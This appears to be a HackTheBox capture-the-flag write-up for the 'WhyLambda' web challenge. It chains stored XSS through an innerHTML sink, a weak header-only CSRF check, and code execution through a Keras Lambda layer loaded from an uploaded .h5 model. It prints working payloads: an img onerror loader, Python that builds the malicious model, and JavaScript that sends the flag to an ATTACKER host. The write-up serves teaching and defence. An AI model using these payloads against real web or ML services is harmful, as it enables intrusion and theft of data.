Note
The complaint 'prediction' field is rendered via innerHTML (img onerror XSS) to a Selenium admin who logs in. CSRF is just an X-SPACE-NO-CSRF:1 header, so the XSS can hit authenticated endpoints. Upload a Keras .h5 whose Lambda layer embeds Python; test_model() calls keras.models.load_model() which executes the Lambda on load — os.system copies /app/flag.txt into the web-served models dir, then exfiltrate.
WhyLambda — innerHTML XSS + weak CSRF → TensorFlow Lambda-layer RCE
Platform: HackTheBox · Category: Web (client + server) · Stack: Flask backend + Vue front-end, TensorFlow/Keras, Selenium admin bot
Challenge overview
Anyone can file a complaint; an authenticated Selenium admin then views complaints. Authenticated
endpoints include a model-upload that tests uploaded Keras models. The flag is at /app/flag.txt. The
chain: XSS the admin → use their session to upload a malicious .h5 → RCE on model load → exfil.
Step 1 — stored XSS via the complaint prediction field
Complaints render with innerHTML, so <script> won't fire but img onerror will. The prediction
field is attacker-controlled and unsanitized:
complaints.add_complaint(description, image_data, prediction) # later rendered via innerHTML
Inject a loader that pulls a remote script (cleaner than stuffing everything in onerror):
</b><img src=x onerror='let s=document.createElement("script");
s.src="http://ATTACKER:6969/exploit.js";document.body.insertBefore(s,document.body.firstChild);'>
Submitting the complaint kicks off the bot, which logs in as the admin and views it → our JS runs as admin.
Step 2 — CSRF is just a header
The "CSRF protection" only checks a static header, which same-origin XSS can set freely:
def csrf_protection(f):
if request.headers.get("X-SPACE-NO-CSRF") != "1": return jsonify({"error":"Invalid csrf token!"}),403
So the admin-context XSS can reach /api/internal/model (auth = admin session cookie + that header).
Step 3 — malicious Keras model (Lambda layer = code execution on load)
test_model() loads any uploaded .h5 with keras.models.load_model():
def test_model(path):
m = keras.models.load_model(path) # executes embedded Lambda layers on load
return m.evaluate(...)
A Keras Lambda layer serializes a Python function that runs when the model is loaded (before any evaluation), so the payload fires even if the model later errors:
from tensorflow import keras
def exploit(x):
import os
os.system("cat /app/flag.txt > /app/backend/models/flag.txt") # copy flag into served dir
return x[:, :10]
model = keras.Sequential([keras.Input(shape=(784,)), keras.layers.Lambda(exploit)])
model.save("exploit.h5")
/api/internal/models/<path> serves files from that models/ dir, so after upload we just fetch
flag.txt.
Step 4 — exploit.js (runs as admin)
// build the .h5 bytes, POST to /api/internal/model with the CSRF header + admin cookie
await fetch("/api/internal/model", { method:"POST", credentials:"include",
headers:{ "X-SPACE-NO-CSRF":"1" }, body: fd /* exploit.h5 */ });
const flag = await fetch("/api/internal/models/flag.txt", {credentials:"include"}).then(r=>r.text());
new Image().src = "http://ATTACKER:6969/?flag=" + encodeURIComponent(flag);
Flag: HTB{th3_gr33ks_g0t_1t_4ll_wr0ng}
Takeaways (generalized techniques)
- Keras
.h5/SavedModelLambdalayers are arbitrary code execution.keras.models.load_model()on an untrusted model runs embedded Lambda Python at load time — treat model upload + "test/evaluate" as a deserialization RCE sink (same risk class as pickle). The payload runs before evaluation, so a broken output shape is fine. - Header-only CSRF "tokens" are not CSRF protection against XSS. A static
X-FOO: 1requirement is trivially satisfied by same-origin script — once you have XSS, every "protected" endpoint is reachable. - innerHTML sinks → use
img/svg onerror, not<script>(injected<script>doesn't execute), and bootstrap a remote.srcscript to keep the payload small and editable. - Chain shape: unauthenticated XSS → privileged bot session → authenticated dangerous feature is a recurring HTB pattern; the "ML/AV/screenshot" feature is usually the real RCE sink.
Sources & references
- Challenge source:
hackthebox/web/whylambda - Keras Lambda-layer code execution: https://developer.nvidia.com/blog/analyzing-the-security-of-machine-learning-research-code/